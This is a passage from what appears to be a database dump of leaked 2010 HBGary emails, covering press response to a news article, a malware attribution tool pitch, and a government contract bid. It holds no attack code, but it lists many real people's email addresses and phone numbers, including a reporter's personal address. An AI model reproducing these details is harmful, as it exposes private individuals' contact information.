Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Monday, July 19, 2010 9:43 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund\r\nSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOkay, here is contact info and some background on this\r\nconservative news&nbsp;site, which was founded by political commentary,GOP\r\nluminary, Tucker Carlson. Jon Ward is&nbsp;the political and White House\r\nreporter; originally from Washington Times -- very conservative.&nbsp;The link\r\nbelow provides more background on&nbsp;him. Email: jonwardeleven@gmail.com; 202-506-2027\r\n(general number for The Daily Caller).&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAbout Us\r\n\r\nFounded by Tucker Carlson, a 20-year veteran of\r\nprint and broadcast media, and Neil Patel, former chief policy adviser to Vice\r\nPresident Cheney, The Daily Caller is a 24-hour news site providing original\r\nreporting from an experienced team of professional reporters, thought-provoking\r\ncommentary and breaking news. In addition to hard news reporting and\r\ncommentary, The Daily Caller features:\r\n\r\nhttp://www.politico.com/blogs/michaelcalderone/1109/WashTimes_Ward_joins_Daily_Caller.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jul 19, 2010 at 9:23 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe are actually HQ&#8217;d in CA with office\r\nin Colorado Springs and Bethesda.&nbsp; If you want give me his name and number\r\nand I can call him.&nbsp; It&#8217;s too long and drawn out for you too explain\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karen@hbgary.com]\r\n\r\nSent: Monday, July 19, 2010 9:23 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund\r\nSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nPenny, Just to confirm then -- HBGary Federal is now HQ in Bethesda, MD? Also,\r\nhe will most likely ask me whether we work with NSA. If so, I will just say\r\nthat we don\'t provide names of customers to respect their privacy wishes.\r\nKaren&nbsp;\r\n\r\n\r\n\r\nOn\r\nMon, Jul 19, 2010 at 9:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCan you call the reporter and find out\r\nwhere they are getting this info?&nbsp; HBGary Federal was disbanded, then\r\nre-formed.&nbsp; Initially we were in Columbia, but not sure where they are\r\ngetting this.&nbsp; We can correct it if I know source.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karen@hbgary.com]\r\n\r\nSent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Please see Daily Caller Article\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIn\r\nthis Daily Caller&nbsp;piece, they seem to infer that we intentionally are\r\nmispresenting location of HBGary Federal. We should probably clarify on Website\r\nabout our two locations.\r\n\r\n\r\n\r\n\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7934,'aaron_hbgary_com/7934.html'),(8788,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006709.M333748P14101Q3643.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fingerprint Tool - Big Picture','A few thoughts on how I think we should be leveraging the Fingerprint tool.\r\n\r\nThis is an amazing advancement I think.  By itself it has value but integrated within a larger threat intelligence framework it is potentially very powerful and we should be using it to set up discussions with the large government organizations (USCERT, JTF, CYBCOM, NTOC, 1st IO, etc)  I can help on some of these.\r\n\r\nHere is why it is important.  Attribution is a big big problem for the nation.  We can\'t develop policy and COAs (courses of action) if we don\'t know where the attack came from, this leaves us stone silent when we watch our IP leaving our country in rivers.  Since we can cluster malware based on environmental characteristics we can also make associations of those internal characteristics.  One piece of malware has this little tidbit, this one has this little tidbit, maybe its a handle, maybe another developer is added into the mix for one piece of malware and we have him nailed through other analysis, we can now make ties to the rest of the group.  Lots of possibilities if the fingerprinting tool is combined with Open source and classified intelligence.\r\n\r\nFingerprint + TMC + Social Media Collection/Analysis = True Threat Intelligence (unclassified).  Add SIGINT and HUMINT data for True classified threat intelligence.\r\n\r\nIn Cybersecurity there are only 3 really important initiatives; threat intelligence, incident response, and offense.  Every thing else is fingers in the dam.  And having capabilities in all three is critical because they feed each other.  If we have the products, the intelligence repository, as well as the ability to develop offensive capabilities.  Thats the sweet spot.  The products are getting there.  We have the offensive capability and are just working to get into the right programs.  We need the repository.\r\n\r\nmy 3 cents.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8454,'aaron_hbgary_com/8454.html'),(8789,'2010-07-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006709.M540348P14101Q3644.eml','aaron@hbgary.com','Bob Slapnik is out of office until Monday, July 26 Re: Fingerprint Tool - Big Picture','I will be out of the office until Monday, July 26 on vacation and will\r\nhave limited access to email.  Penny Leavy-Hoglund is covering for me.\r\n She can be reached at penny@hbgary.com or 408-316-8002.\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n',4742,'aaron_hbgary_com/4742.html'),(8790,'2010-07-19','\"emil nazzaro\" <emil@bydandassociates.com>','/aaron@hbgary.com/new/1297006709.M790630P14101Q3645.eml','\"David Etue\" <david@etue.net>,\"Aaron Barr\" <aaron@hbgary.com>,\"David Etue\" <david@etue.net>','RE: Intro','David -\r\n\r\nThank you for the virtual introduction.\r\n\r\nAaron -\r\n\r\nI\'m currently out of town on vacation, returning late on the 28th. Byrne and\r\nI have a mid-day meeting (11am - 2pm) in Herndon on the 29th. Late Thursday\r\nafternoon and Friday morning are open if either of those times suit your\r\ncalendar.  \r\n\r\nWe\'ll be in Tampa for the AFCEA Joint LandWarNet Conference from 2-5 August\r\nsupporting some of our clients who will be exhibiting.  Alternatively, we\r\ncould meet sometime during the week of 9 August. \r\n\r\nWe look forward to meeting you, learning more about HB Gary Federal, and\r\ntelling you about Bydand Associates.\r\n\r\nVr,\r\n\r\nEmil \r\n\r\nEmil S. Nazzaro, Partner\r\nBydand Associates, LLC\r\n(703) 401-6922 (mobile)\r\nemil@bydandassociates.com\r\nwww.bydandassociates.com\r\n\r\nBydand Associates is a Veteran-Owned Small Business \r\n\r\n\r\n-----Original Message-----\r\nFrom: David Etue [mailto:david@etue.net] \r\nSent: Monday, July 19, 2010 11:47 AM\r\nTo: Aaron Barr; emil nazzaro\r\nSubject: Intro\r\n\r\nAaron and Emil - wanted to connect the two of you up.  I\'m sure you have \r\na lot of contacts in common, and there may be an opportunity to help \r\neach other out.\r\n\r\nAaron - Emil has been working with Fidelis for a number of years helping \r\ngenerate business in the Federal Government.  He has a lot of experience \r\nand contacts, and his Army background has been particularly helpful.  \r\nHis business partner, Byrne Huntley, also has a great background.  \r\nhttp://www.bydandassociates.com/about/\r\n\r\nEmil - Aaron is the CEO of HB Gary Federal.  HB Gary has some amazing \r\nproducts for endpoint memory analysis and forensics, and Aaron is \r\nleading up their Federal business including both product and services.  \r\nHe has a great background in cyber security, and was with both Northrop \r\nGrumman and the US Navy before joining HB Gary.\r\n\r\nDavid\r\n\r\n\r\n\r\n',14651,'aaron_hbgary_com/14651.html'),(8791,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006712.M436539P14101Q3646.eml','\"Aaron Barr\" <adbarr@mac.com>','','\r\n\r\n',7639,'aaron_hbgary_com/7639.html'),(8792,'2010-07-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006716.M329221P14101Q3648.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: EXTERNAL:','Hi Al,\r\n\r\nWe are currently working on defining the positions for key folks we want\r\non COIN.  We expect to get the reqs posted by end of the month.  \r\n\r\nBy the way, Aaron and I thought it a good idea for you to visit the\r\ncustomer who has the COIN mission.  What are your availabilities for the\r\nnext week or two?  Additionally, who else do you think should attend?\r\n\r\nSince Aaron has communications with the customer, I defer to him to\r\narrange the meeting.  He also wants to pre-brief you on some of the\r\nmission intricacies.  \r\n\r\nWe spoke to Google and Apple last week.  They both agreed to be on our\r\nteam!  I love this kind of innovation.\r\n\r\nOur team consists of:\r\n\r\n - TASC (PMO, creative services)\r\n - HB Gary (Strategy, planning, PMO) \r\n - Akamai (infrastructure)\r\n - Archimedes Global (Specialized linguistics, strategy, planning)\r\n - Acclaim Technical Services (specialized linguistics)\r\n - Mission Essential Personnel (linguistic services)\r\n - Cipher (strategy, planning operations)\r\n - PointAbout (rapid mobile application development, list of strategic\r\npartners)\r\n - Google (strategy, mobile application and platform development - long\r\nlist of strategic partners)\r\n - Apple (mobile and desktop platform, application assistance -long list\r\nof strategic partners)\r\n\r\nWe are trying to schedule an interview with ATT plus some other small\r\napp developers. \r\n\r\n\r\nWe, truly have the team to beat on this!\r\n\r\nLet me know if you need more info.\r\n\r\nThanks,\r\n\r\nChris Clair\r\n\r\n-----Original Message-----\r\nFrom: Pisani, Albert A. (TASC) \r\nSent: Thursday, July 15, 2010 2:52 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n(TASC); Ted Vera\r\nSubject: RE: EXTERNAL:\r\n\r\nAaron:\r\n\r\nThis is excellent news.\r\n\r\nAll - What progress has been made in identifying and capturing key folks\r\nthat are currently in place supporting the customer?\r\n\r\nThanks.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:25 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A.\r\n(TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.  I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.  John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.  :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.  I talked to John about general\r\ncapabilities I think his shop needs and he agreed.  This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',12402,'aaron_hbgary_com/12402.html'),(8793,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006716.M751470P14101Q3649.eml','\"Barr Aaron\" <aaron@hbgary.com>','Minions','You now have minions, to do your bidding.  Check out http://www.timesvr.com.  I bought you unlimited taskings for one month so you can try it out.  You can have them make your travel arrangements, book reservations, send your wife flowers, find the closest store, check pricing on stuff, do research, manage your calendar, book appointments, etc.  Unlimited.  You can task them via the dashboard on their website, via email, phone, or Skype IM.  Have fun.  I&#39;ll send you some of my taskings so you can see what they&#39;ve done.  \r\nYou got people.Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',13582,'aaron_hbgary_com/13582.html'),(8794,'2010-07-19','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297006716.M76071P14101Q3647.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Call today to discuss Cell Infrastructure','I\'m leaving here at 2:30 or so for a meeting in Herndon.  Maybe you could\r\ncall my cell sometime during my drive out?  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 12:22 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Call today to discuss Cell Infrastructure\r\n\r\nDo you have some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13170,'aaron_hbgary_com/13170.html'),(8795,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006716.M955037P14101Q3650.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TimeSvr: Calling Mark','---------- Forwarded message ----------From: [TimeSvr] Ammar Khan &lt;ammar@timesvr.com&gt;\r\nDate: Mon, Jul 19, 2010 at 11:18 AMSubject: TimeSvr: Calling MarkTo: Ted@hbgary.comHi Ted, \r\nAs you requested, I called Mark and reminded him that he has to be at work at 9am sharp. Let me know if there is anything else I can do for you.\r\n\r\n\r\nKindly Cc all your replies to tasks@timesvr.com or add a response to your task on the TimeSvr Dashboard.If there is anything else I can do for you, please let me know.\r\n\r\n\r\nHave a Great Day!BestAmmar.TimeSvr(415)-315-9651www.TimeSvr.comT: twitter.com/timesvr\r\n\r\nF: facebook.com/timesvr\r\n-original message-\r\n\r\nPlease call Mark Trynor (he&#39;s in my contacts) and give him a friendly reminder that he needs to be at work by 9am tomorrow. Thank you! Ted\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1285,'aaron_hbgary_com/1285.html'),(8796,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006717.M215259P14101Q3651.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TimeSvr: Malware Analysis Software','---------- Forwarded message ----------From: [TimeSvr] Ammar Faruki &lt;a.faruki@timesvr.com&gt;\r\nDate: Mon, Jul 19, 2010 at 10:33 AMSubject: TimeSvr: Malware Analysis SoftwareTo: Ted@hbgary.comHi Ted,As you requested, I have searched the malware analysis software applications. I have compiled the details in a spread sheet, as you mentioned. Please find the spread sheet under attachments.\r\n\r\nPlease let me know if you need any further assistance. - - - Original message - - -\r\n\r\nPlease compile a list of commercially available or open-source software applications that can be used for &quot;malware reverse engineering&quot; or &quot;malware analysis&quot;. I would prefer the results in a spreadsheet which includes the product name, manufacturer, cost (if available) and the website URL to the product page. Thank you, Ted.\r\n\r\n   -  -  -  -  -  -  -  -  -  -  -PS: Please Cc all your replies to tasks@timesvr.com or add a response to your task on the Dashboard for a faster response to your email. \r\n\r\nBest,A.Faruki.TimeSvr(415)-315-9651www.TimeSvr.comT: twitter.com/timesvr\r\nF: facebook.com/timesvr\r\nHelp us spread the word - tell a friend about TimeSvr.com today and help them Save Time, Get Things Done!\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',9519,'aaron_hbgary_com/9519.html'),(8797,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006717.M436451P14101Q3652.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TimeSvr: Conferences in Florida','---------- Forwarded message ----------From: [TimeSvr] Ammar Faruki &lt;a.faruki@timesvr.com&gt;\r\nDate: Mon, Jul 19, 2010 at 7:07 AMSubject: TimeSvr: Conferences in FloridaTo: Ted@hbgary.comHi Ted,\r\n\r\nAs per your request, I tried to locate the upcoming conferences in Florida that are related to &quot;computer incident response&quot;, &quot;computer security&quot;, or &quot;computer antivirus&quot;. However I did not find any conference that is specified for these topics, between September and December, 2010. They might be covered under any conference that covers vast area of IT related issues. I have located two conferences which are IT related and sincerely hope this proves useful for you.\r\n\r\nNSA Trusted Computing Conference and Exposition14 to 16 September 2010 \r\n\r\nOrlando, Florida, United States Link:http://www.conferencealerts.com/seeconf.mv?q=ca166038\r\n\r\nThe 18th Annual Meeting of the IEEE International Symposium on Modeling,\r\n\r\nAnalysis and Simulation of Computer and Telecommunication SystemsMiami Beach, Florida - August 17-19, 2010\r\n\r\nLink:http://mascots2010.cis.fiu.edu/\r\n\r\nPlease let me know if you need any further assistance.- - - Original message - - -Help me find conferences or expos that are related to &quot;computer incident response&quot;, &quot;computer security&quot;, or &quot;computer antivirus&quot; that will be held in Florida sometime between Aug 15, 2010 and Dec 31, 2010.\r\n\r\n -  -  -  -  -  -  -  -  -  -  -PS: Please Cc all your replies to tasks@timesvr.com or add a response to your task on the Dashboard for a faster response to your email.\r\n\r\nRegards,Aneela Shafi.TimeSvr(415)-315-9651 begin_of_the_skype_highlighting              (415)-315-9651      end_of_the_skype_highlightingwww.TimeSvr.com\r\n\r\nT: twitter.com/timesvrF: facebook.com/timesvr\r\n\r\nHelp us spread the word - tell a friend about TimeSvr.com today and help them Save Time, Get Things Done!\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',16584,'aaron_hbgary_com/16584.html'),(8798,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006717.M646569P14101Q3653.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: EXTERNAL:','Chris,\r\n\r\nProbably a good time to talk about what role I would like to play once we win.  I know it is impossible until we really see the RFP to determine any concise workshare but probably a good idea for you and I to have a high level discussion on the topic so we aren\'t surprising each other with a perspective that doesn\'t match.  I definitely want to use this contract to rebuild an IO development capability as well as provide some of the strategy, planning and security services.  Again we don\'t know size of contract yet but on the low side I would like 5 FTEs and on the high side I would like 10 FTEs (depending on size of contract) mostly doing mobile and social media development.  Overall I would like 25% of the overall contract value.  So lets set up a time to talk I would like to hear your thoughts.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 2:00 PM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Al,\r\n> \r\n> We are currently working on defining the positions for key folks we want\r\n> on COIN.  We expect to get the reqs posted by end of the month.  \r\n> \r\n> By the way, Aaron and I thought it a good idea for you to visit the\r\n> customer who has the COIN mission.  What are your availabilities for the\r\n> next week or two?  Additionally, who else do you think should attend?\r\n> \r\n> Since Aaron has communications with the customer, I defer to him to\r\n> arrange the meeting.  He also wants to pre-brief you on some of the\r\n> mission intricacies.  \r\n> \r\n> We spoke to Google and Apple last week.  They both agreed to be on our\r\n> team!  I love this kind of innovation.\r\n> \r\n> Our team consists of:\r\n> \r\n> - TASC (PMO, creative services)\r\n> - HB Gary (Strategy, planning, PMO) \r\n> - Akamai (infrastructure)\r\n> - Archimedes Global (Specialized linguistics, strategy, planning)\r\n> - Acclaim Technical Services (specialized linguistics)\r\n> - Mission Essential Personnel (linguistic services)\r\n> - Cipher (strategy, planning operations)\r\n> - PointAbout (rapid mobile application development, list of strategic\r\n> partners)\r\n> - Google (strategy, mobile application and platform development - long\r\n> list of strategic partners)\r\n> - Apple (mobile and desktop platform, application assistance -long list\r\n> of strategic partners)\r\n> \r\n> We are trying to schedule an interview with ATT plus some other small\r\n> app developers. \r\n> \r\n> \r\n> We, truly have the team to beat on this!\r\n> \r\n> Let me know if you need more info.\r\n> \r\n> Thanks,\r\n> \r\n> Chris Clair\r\n> \r\n> -----Original Message-----\r\n> From: Pisani, Albert A. (TASC) \r\n> Sent: Thursday, July 15, 2010 2:52 PM\r\n> To: Aaron Barr; Clair, Chris (TASC)\r\n> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n> (TASC); Ted Vera\r\n> Subject: RE: EXTERNAL:\r\n> \r\n> Aaron:\r\n> \r\n> This is excellent news.\r\n> \r\n> All - What progress has been made in identifying and capturing key folks\r\n> that are currently in place supporting the customer?\r\n> \r\n> Thanks.\r\n> \r\n> AL\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 15, 2010 2:25 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A.\r\n> (TASC); Garcia, Kathy (TASC); Ted Vera\r\n> Subject: EXTERNAL:\r\n> \r\n> Coin update.\r\n> \r\n> I had good conversations with Mary beth, John, and Marek today.  I\r\n> chided them a bit for not getting the rfp out and they said it looks\r\n> like they will be able to get it out in august.  John is still very\r\n> dissatisfied with current work and said they need some of the\r\n> innovation like they used to have.  :)\r\n> \r\n> We talked a lot about mobile and social media and the quickly changing\r\n> landscape.\r\n> \r\n> Based on wonderful meetings yesterday and today and our strategy/team\r\n> i think we are the team to beat.  I talked to John about general\r\n> capabilities I think his shop needs and he agreed.  This fits right in\r\n> our strategy.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11116,'aaron_hbgary_com/11116.html'),(8799,'2010-07-19','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297006718.M193351P14101Q3654.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:','Chris, Aaron,\r\n\r\nI would like to attend as well.\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n-----Original Message-----\r\nFrom: Clair, Chris (TASC) \r\nSent: Monday, July 19, 2010 2:00 PM\r\nTo: Pisani, Albert A. (TASC); \'Aaron Barr\'\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n(TASC)\r\nSubject: RE: EXTERNAL:\r\n\r\nHi Al,\r\n\r\nWe are currently working on defining the positions for key folks we want\r\non COIN.  We expect to get the reqs posted by end of the month.  \r\n\r\nBy the way, Aaron and I thought it a good idea for you to visit the\r\ncustomer who has the COIN mission.  What are your availabilities for the\r\nnext week or two?  Additionally, who else do you think should attend?\r\n\r\nSince Aaron has communications with the customer, I defer to him to\r\narrange the meeting.  He also wants to pre-brief you on some of the\r\nmission intricacies.  \r\n\r\nWe spoke to Google and Apple last week.  They both agreed to be on our\r\nteam!  I love this kind of innovation.\r\n\r\nOur team consists of:\r\n\r\n - TASC (PMO, creative services)\r\n - HB Gary (Strategy, planning, PMO) \r\n - Akamai (infrastructure)\r\n - Archimedes Global (Specialized linguistics, strategy, planning)\r\n - Acclaim Technical Services (specialized linguistics)\r\n - Mission Essential Personnel (linguistic services)\r\n - Cipher (strategy, planning operations)\r\n - PointAbout (rapid mobile application development, list of strategic\r\npartners)\r\n - Google (strategy, mobile application and platform development - long\r\nlist of strategic partners)\r\n - Apple (mobile and desktop platform, application assistance -long list\r\nof strategic partners)\r\n\r\nWe are trying to schedule an interview with ATT plus some other small\r\napp developers. \r\n\r\n\r\nWe, truly have the team to beat on this!\r\n\r\nLet me know if you need more info.\r\n\r\nThanks,\r\n\r\nChris Clair\r\n\r\n-----Original Message-----\r\nFrom: Pisani, Albert A. (TASC) \r\nSent: Thursday, July 15, 2010 2:52 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy\r\n(TASC); Ted Vera\r\nSubject: RE: EXTERNAL:\r\n\r\nAaron:\r\n\r\nThis is excellent news.\r\n\r\nAll - What progress has been made in identifying and capturing key folks\r\nthat are currently in place supporting the customer?\r\n\r\nThanks.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:25 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A.\r\n(TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.  I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.  John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.  :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.  I talked to John about general\r\ncapabilities I think his shop needs and he agreed.  This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',5298,'aaron_hbgary_com/5298.html'),(8800,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006718.M466789P14101Q3655.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Please see Daily Caller Article','Our address is correct in D&amp;B, ORCA and CCR.  They pulled the old record for HBGary Federal, Inc (which is listed as inactive).On Mon, Jul 19, 2010 at 10:55 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHe was super nice.  Ted, check D&amp;B and see if it has correct\r\naddress.  ORCA and CCR should be checked as well.  He’s checking where they get\r\ntheir info\r\n\r\n \r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Monday, July 19, 2010 9:43 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund\r\nSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOkay, here is contact info and some background on this\r\nconservative news site, which was founded by political commentary,GOP\r\nluminary, Tucker Carlson. Jon Ward is the political and White House\r\nreporter; originally from Washington Times -- very conservative. The link\r\nbelow provides more background on him. Email: jonwardeleven@gmail.com; 202-506-2027\r\n(general number for The Daily Caller).  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAbout Us\r\n\r\nFounded by Tucker Carlson, a 20-year veteran of\r\nprint and broadcast media, and Neil Patel, former chief policy adviser to Vice\r\nPresident Cheney, The Daily Caller is a 24-hour news site providing original\r\nreporting from an experienced team of professional reporters, thought-provoking\r\ncommentary and breaking news. In addition to hard news reporting and\r\ncommentary, The Daily Caller features:\r\n\r\nhttp://www.politico.com/blogs/michaelcalderone/1109/WashTimes_Ward_joins_Daily_Caller.html\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jul 19, 2010 at 9:23 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe are actually HQ’d in CA with office\r\nin Colorado Springs and Bethesda.  If you want give me his name and number\r\nand I can call him.  It’s too long and drawn out for you too explain\r\n\r\n \r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karen@hbgary.com]\r\n\r\nSent: Monday, July 19, 2010 9:23 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund\r\nSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nPenny, Just to confirm then -- HBGary Federal is now HQ in Bethesda, MD? Also,\r\nhe will most likely ask me whether we work with NSA. If so, I will just say\r\nthat we don&#39;t provide names of customers to respect their privacy wishes.\r\nKaren \r\n\r\n\r\n\r\nOn\r\nMon, Jul 19, 2010 at 9:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCan you call the reporter and find out\r\nwhere they are getting this info?  HBGary Federal was disbanded, then\r\nre-formed.  Initially we were in Columbia, but not sure where they are\r\ngetting this.  We can correct it if I know source.  \r\n\r\n \r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karen@hbgary.com]\r\n\r\nSent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Please see Daily Caller Article\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIn\r\nthis Daily Caller piece, they seem to infer that we intentionally are\r\nmispresenting location of HBGary Federal. We should probably clarify on Website\r\nabout our two locations.\r\n\r\n\r\n\r\n\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary 